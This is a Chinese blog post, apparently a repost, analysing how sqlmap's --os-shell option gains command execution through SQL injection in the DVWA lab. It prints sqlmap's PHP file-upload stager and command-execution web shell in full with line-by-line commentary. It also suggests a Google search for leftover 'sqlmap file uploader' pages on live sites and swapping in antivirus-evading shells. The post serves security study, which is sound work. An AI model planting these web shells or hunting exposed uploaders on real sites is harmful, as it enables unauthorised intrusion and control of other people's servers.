sqlmap os-shell探索

摘要:
]3分析3.1上传/命令shell[php]上传/命令shell在每次写入时都保持不变,这表明sqlmap内置了这两个shell文件,而不是根据规则生成上传shell上传$_ SERVER[“PHP_SELF”]之前,获取当前的绝对路径。根据获得的绝对路径上传文件后,给予755权限。版本差异会影响上载方法。命令shell˂?

目录

1 条件
  1. 网站的绝对路径
  2. mysql进程有网站绝对路径的写权限
  3. mysql用户为root
  4. mysql允许写[secure_file_priv]
  5. GPC关闭
2 过程

dvwa-low-sqli为例
sqlmap -u "http://ip/vulnerabilities/sqli/?id=111&Submit=Submit#" --cookie='PHPSESSID=t875bj3h4imdvhk7vce834j075; security=low' --os-shell

sqlmap os-shell过程和关键选项

  1. sqlmap会识别数据库所在服务器的操作系统,然后让你选择web支持的脚本语言
    sqlmap os-shell探索第1张
  2. 第一个选项选择是否让sqlmap尝试通过触发错误获取泄露的绝对路径,注意此处[dvwa]第三个选项需要选非默认yes的no,不合并cookie,如果sqlmap无法自动获取web绝对路径,会让你选择可写路径,有:常用路径枚举/自定义路径/自定义枚举字典/蛮力枚举路径
    sqlmap os-shell探索第2张
  3. sqlmap会自动分割路径,尝试用各种语句写文件
    sqlmap os-shell探索第3张
  4. sqlmap先写入一个文件上传shelltmpukiwa.php,再通过文件上传shell上传命令执行shelltmpbarxj.php,再利用命令执行shell执行命令
    sqlmap os-shell探索第4张
    用mysql进程写上传shell,用上传shell也就是apache进程写命令执行shell
    sqlmap os-shell探索第5张
  5. 退出os-shell后,sqlmap会自动删除写的shell,但似乎删的不干净,上传shell仍然存在[!!!]
    sqlmap os-shell探索第6张
    sqlmap os-shell探索第7张
3 分析

3.1 上传/命令shell[php]

每次写的上传/命令shell都不变,说明sqlmap内置了这两个shell文件,而不是按照规则生成

上传shell
sqlmap os-shell探索第8张

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";}?>
<?php
if (isset($_REQUEST["upload"])) {
	$dir=$_REQUEST["uploadDir"];
	if (phpversion()<'4.1.0') {
		$file=$HTTP_POST_FILES["file"]["name"];
		@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	} else {
		$file=$_FILES["file"]["name"];
		@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	}
	@chmod($dir."/".$file,0755);
	echo "File uploaded";
} else {
	echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>

上传前$_SERVER["PHP_SELF"]获取当前绝对路径
根据获得的绝对路径上传文件后,给755权限,版本区别影响上传的方式

命令shell
sqlmap os-shell探索第9张

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1
";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
<?php $c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z)) {
	$z=preg_replace("/[, ]+/",',',$z);
	$z=explode(',',$z);
	$z=array_map("trim",$z);
} else {
	$z=array();
}
$c=$c." 2>&1
";
function f($n) {
	global $z;
	return is_callable($n)and!in_array($n,$z);
}
if(f("system")) {
	ob_start();
	system($c);
	$w=ob_get_clean();
} elseif(f("proc_open")) {
	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
	$w=NULL;
	while(!feof($t[1])) {
		$w.=fread($t[1],512);
	}
	@proc_close($y);
} elseif(f("shell_exec")) {
	$w=shell_exec($c);
} elseif(f("passthru")) {
	ob_start();
	passthru($c);
	$w=ob_get_clean();
} elseif(f("popen")) {
	$x=popen($c,r);
	$w=NULL;
	if(is_resource($x)) {
		while(!feof($x)) {
			$w.=fread($x,512);
		}
	}
	@pclose($x);
} elseif(f("exec")) {
	$w=array();
	exec($c,$w);
	$w=join(chr(10),$w).chr(10);
} else {
	$w=0;
}
echo"<pre>$w</pre>";
?>

get/post/cookie接收cmd变量,作为命令执行

该脚本先从客户请求中获取cmd的值赋值给 $c

设置脚本最大执行时间为无限

设置客户端断开连接时也不中断脚本执行

获取配置文件中禁用的函数列表赋值给 $z

如果禁用的函数列表 $z 不为空

把列表中的所有英文逗号或者空格全部替换为英文逗号赋值给 $z
然后按英文逗号分隔把该函数列表转换为数组赋值给 $z
去除数组中每个元素首尾的空白字符赋值给 $z
如果禁用的函数列表为空,就把 $z 初始化为空数组

然后 $c=$c." 2>&1
"

定义函数 f($n)

调用全局变量$z
如果 $n 可以被调用并且不在数组 $z 中返回true,否则返回false
如果 f('system') 为 true

打开输出缓冲
执行cmd命令 $c
获取缓冲区中的内容赋值给 $w
清除缓冲区并关闭输出缓冲
否则如果 f('proc_open') 为 true

好像是创建一个子进程,执行命令,然后把执行结果写入到管道中
从管道中读取命令的执行结果赋值给 $w
关闭进程资源
否则如果 f('shell_exec') 为 true

通过 shell 环境执行命令,将结果返回给 $w
否则如果 f('passthru') 为 true

打开输出缓冲
执行命令
将缓冲区的内容赋值给 $w
清楚缓冲区并关闭输出缓冲
否则如果 f('popen') 为 true

打开一个指向进程的管道,执行命令,返回一个fopen()相同的文件指针 $x
读取该指针所指向的资源赋值给 $w
关闭该资源 $x
否则如果 f('exec') 为 true

$w 初始化为空数组
执行命令并将结果填充到 $w 数组中
将数组 $w 转换为用 chr(10) 连接的字符串
否则

$w = 0
最后 print "<pre>".$w."</pre>"

有点类似卿师傅的大一统命令执行脚本

4 拓展

4.1 google找sqlmap的上传shell

实践dvwa中我们发现,退出sqlmap的命令执行shell时,虽然提示删除了上传的文件,但上传shell却没有删除,那.....
intext:"sqlmap file uploader"
sqlmap os-shell探索第10张

4.2 自定义shell[翻车]

在对上传/命令shell的分析中我们推断shell是内置不变的,那我们可以考虑将sqlmap内置的上传/命令shell换成我们自己制作的免杀shell
当然,其实有点多此一举,如果成功写入了上传Shell,说明目标要么没防御,要么防御稀烂,完全可以利用上传shell上传大马。如果上传shell被杀,但本身是能写的,那可以手工写。

上传shell的D盾查杀,emmmm
sqlmap os-shell探索第11张
sqlmap的data目录下存放了sqlmap使用的工具或命令等
sqlmap os-shell探索第12张
其中,shell目录有文件上传(file stagers)和命令执行(backdoors),每个文件夹都放了asp aspx jsp php类型的实现脚本的二进制文件
sqlmap os-shell探索第13张
sqlmap os-shell探索第14张
二进制文件不知道怎么改,我原本以为是脚本文件来着

sqlmap目录结构

5 参考

具体的数据流是什么样的可以参考下面各位师傅的分析
对利用sqlmap获取os-shell过程的一次抓包分析
sqlmap os shell解析
利用SQLMAP获取os-shell的过程分析「UDF提权」

免责声明:文章转载自《sqlmap os-shell探索》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇解决webstorm中vue语法没有提示算法交易系列研究之一下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux的shell下发送mail的工具

背景 项目中搭建了一套集群环境,整个集群机器的网络可用性通过一个shell脚本来进行监控。该脚本在检测网络连通性失败的情况下会打印错误日志并发送邮件通知给相关人员。那如何使用linux命令来发送邮件呢? 这里找到了一个好工具:mailx。 简介 Mailx is an intelligent mail processing system, which ha...

ZooKeeper shell

# 1. 进入Zookeeper shell sh /usr/local/kafka/bin/zookeeper-shell.sh localhost:2181 # 2. 基本操作 ### 2.1 创建节点 create [-s] [-e] path data acl # 其中,-s 或-e 分别指定节点特性,顺序或临时节点,若不指定,则表示持久...

最有价值的Linux资料大全

来源:http://51ctoblog.blog.51cto.com/26414/929322#559183-qzone-1-70272-9032e4e5e88102269a9addf0a99ae97c 20年前的夏天,Linux之父 你牛死.脱袜子 (Linus Torvalds) 勇敢的向全世界共享他编写的操作系统,从此这个诞生于一个偶然机会的Linu...

shell脚本中的for循环和while循环

基础for循环有三种:         ①直接写-------例如:for  i   in  1,2,3,4(注:i 是变量; in是在什么地方;do和done之间是循环体)                                           do                                              ...

SonarQube系列三、Jenkins集成SonarQube(dotnetcore篇)

【前言】 本系列主要讲述sonarqube的安装部署以及如何集成jenkins自动化分析.netcore项目。目录如下: SonarQube系列一、Linux安装与部署 SonarQube系列二、分析dotnet core/C#代码 SonarQube系列三、Jenkins集成SonarQube(dotnetcore篇) 【实现功能】   这篇文章将要...

精通shell编程--最后的总结

不得不说shell语法是丑陋的,操作是简单高效的,最后一次学习总结shell shell总结 字符串删除与替换等常见操作 ## 字符串长度 a=1234 echo "${#a}" expr length "${a}" ## 字符串 索引 expr index ${a} 23 # 拆分 2 3 一个个查找找到第一个匹配的就返回 ## 字符串 匹配 有问...